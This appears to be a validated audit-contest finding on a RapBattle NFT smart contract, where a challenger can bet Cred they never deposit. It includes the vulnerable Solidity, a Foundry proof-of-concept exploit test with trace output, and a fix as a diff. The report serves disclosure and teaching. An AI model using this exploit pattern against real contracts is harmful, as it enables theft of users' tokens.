Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can fake the bet and never pay if he loses the Rap Battle

Summary

Attacker can fake the bet and never pay if he loses

Vulnerability Details

The function RapBattle::goOnStageOrBattle sets up the enviroment for the NFT RapBattle to happen. If the one calling is the attacker, it automatically calls RapBattle::_battle , which makes 2 NFTs battle and get a winner from it.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random = uint256(
keccak256(
abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
)
) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(
msg.sender,
_tokenId,
random < defenderRapperSkill ? _defender : msg.sender
);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
@> credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}

However, the function never checks if the attacker has the amount of Cred stated in _credBet before determining a winner!

Impact

The attacker can win RapBattles without risking Cred.

If attacker wins: Takes the Cred of the defender, without any check if attacker had enough Cred to make the bet in the first place.

If defender wins: The line

credToken.transferFrom(msg.sender, _defender, _credBet);

will revert because attacker did not have enough Cred to transfer to the defender and thus, reverting!

Tools Used

Foundry

Proof of Concept:

1: Defender bets 3 Cred, obtained stacking in the Streets.sol contract

2: Attacker mints an NFT and calls immediately RapBattle::goOnStageOrBattle with 3 Cred, even though it just minted the NFT

3: Because the function does not check if the attacker has the Cred given before the winner is drawn, 2 things can happen:

a) Defender wins -> the previous stated transferFrom is executed -> reverts with ERC20InsufficientBalance(here is the attacker address, 0, 3)]

b) Attacker wins -> The contract transfers the money from the defender to the attacker without further checks

Code
function testAttackerCanLieOnCredBet() public twoSkilledRappers {
address attacker = makeAddr("Exploiter");
//user and challenger have 4 Cred minted because of the `twoSkilledRappers` modifier
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
//However, attacker just minted the NFT so he should have definetly less than 3 Cred
vm.startPrank(attacker);
oneShot.mintRapper();
oneShot.approve(address(rapBattle), 2);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(2, 3);
vm.stopPrank();
assert(cred.balanceOf(attacker) == 3);
}

Note: Because of the weak randomness (using block.timestamp, block.prevrandao and msg.sender) that the function has to determine winner, When I was testing using Exploiter as the input for makeAddr for the attacker, it always returns the defender as the winner, and when using sadfas it always returns attacker as the winner. However, it might not be the same for every computer where the test is executed. These are the 2 different outcomes of the test executed in my computer:

a) winner is the defender, named Alice (the attacker was named Exploiter)

├─ emit Battle(challenger: Exploiter: [0x44a81f73A67286F260e534721EC27aB4a63B6BEb], tokenId: 2, winner: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea])
│ ├─ [3244] Credibility::transfer(Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], 3)
│ │ ├─ emit Transfer(from: RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], value: 3)
│ │ └─ ← true
│ ├─ [3729] Credibility::transferFrom(Exploiter: [0x44a81f73A67286F260e534721EC27aB4a63B6BEb], Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], 3)
│ │ └─ ← ERC20InsufficientBalance(0x44a81f73A67286F260e534721EC27aB4a63B6BEb, 0, 3)
│ └─ ← ERC20InsufficientBalance(0x44a81f73A67286F260e534721EC27aB4a63B6BEb, 0, 3)
└─ ← ERC20InsufficientBalance(0x44a81f73A67286F260e534721EC27aB4a63B6BEb, 0, 3)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 4.83ms
Ran 1 test suite in 4.83ms: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/OneShotTest.t.sol:RapBattleTest
[FAIL. Reason: ERC20InsufficientBalance(0x44a81f73A67286F260e534721EC27aB4a63B6BEb, 0, 3)] testAttackerCanLieOnCredBet() (gas: 849271)

b) winner is attacker, named sadfas:

emit Battle(challenger: sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1], tokenId: 2, winner: sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1])
│ ├─ [25144] Credibility::transfer(sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1], 3)
│ │ ├─ emit Transfer(from: RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1], value: 3)
│ │ └─ ← true
│ ├─ [24404] OneShot::transferFrom(RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], 0)
│ │ ├─ emit Transfer(from: RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], tokenId: 0)
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [629] Credibility::balanceOf(sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1]) [staticcall]
│ └─ ← 3
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.23ms
Ran 1 test suite in 5.23ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommendations

Force attacker to deposit the Cred stated in _credBet before starting the call to RapBattle::_battle and change slightly the function to retrieve the rewards:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
+ credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
function _battle(uint256 _tokenId, uint256 _credBet) internal {
.
.
.
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
+ credToken.transfer(_defender, totalPrize);
- credToken.transfer(_defender, defenderBet);
- credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
+ credToken.transfer(msg.sender, totalPrize);
- credToken.transfer(msg.sender, _credBet);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.